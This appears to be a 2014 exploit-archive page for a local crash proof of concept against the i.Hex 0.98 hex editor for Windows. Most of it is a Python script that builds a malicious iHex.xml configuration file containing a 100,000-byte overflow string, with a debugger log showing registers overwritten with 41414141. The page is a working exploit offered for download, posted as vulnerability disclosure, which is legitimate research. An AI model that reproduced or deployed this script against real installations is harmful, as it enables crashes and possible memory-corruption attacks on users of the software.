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i.Hex 0.98 Local Crash Proof Of Concept

i.Hex 0.98 Local Crash Proof Of Concept
Posted Nov 6, 2014
Authored by metacom

i.Hex version 0.98 local crash proof of concept exploit.

tags | exploit, local, proof of concept
SHA-256 | b6538cb584c67bc25846bab1b7d3964fcf00e51a6b5f44d7ff51536b5bcdb80f

i.Hex 0.98 Local Crash Proof Of Concept

Change Mirror Download
#!/usr/bin/python
#Exploit Title:i.Hex Local Crash Poc
#Homepage:http://www.memecode.com/ihex.php
#Software Link:www.memecode.com/data/ihex-win32-v0.98.exe
#Version:i.Hex-v0.98 (Win32 Release)
#Description:i.Hex is a small and free graphical Hex Editor for Windows..
#Tested on:Win7 32bit
#Exploit Author:metacom --> twitter.com/m3tac0m
#Date:05.11.2014
'''
Immunity Debugger Log data
EAX 0135B8F8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ECX 41414141
EDX 41414141
EBX 01363FA0
ESP 0012F6D8
EBP 0012F700
ESI 0135B8F0
EDI 005F0000
EIP 77B85FBD ntdll.77B85FBD

Press Shift+9
Log data, item 0
Address=77B85B44
Message=[15:56:05] Access violation when reading [41414141]
'''
print "\n[*]Vulnerable Created iHex.xml!"
print "[*]Copy iHex.xml to C:\Program Files\Memecode\i.Hex"
print "[*]Start i.Hex"
print "[*]------------------------------------------------"
poc="\x41" * 100000
header = "\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x22\x20\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22"
header += "\x55\x54\x46\x2d\x38\x22\x20\x3f\x3e\x0a\x3c\x4f\x70\x74\x69\x6f\x6e\x73\x20\x49\x73\x48\x65\x78\x3d\x22\x31\x22\x0a\x09"
header += "\x20\x4c\x69\x74\x74\x6c\x65\x45\x6e\x64\x69\x61\x6e\x3d\x22\x0a" + poc
footer = "\x22\x0a\x09\x20\x50\x6f\x73\x3d\x22\x31\x30\x30\x2c\x31\x30\x30\x2c\x35\x30\x30\x2c\x34\x30\x30\x22\x3e\x0a\x09\x3c\x4d"
footer += "\x72\x75\x20\x49\x74\x65\x6d\x73\x3d\x22\x30\x22\x0a\x09\x09\x20\x49\x74\x65\x6d\x30\x3d\x22\x22\x20\x2f\x3e\x0a\x3c\x2f"
footer += "\x4f\x70\x74\x69\x6f\x6e\x73\x3e\x0a"
payload= header + footer
# Write out our malicious file
writeFile = open ("iHex.xml", "wb")
writeFile.write( payload )
writeFile.close()

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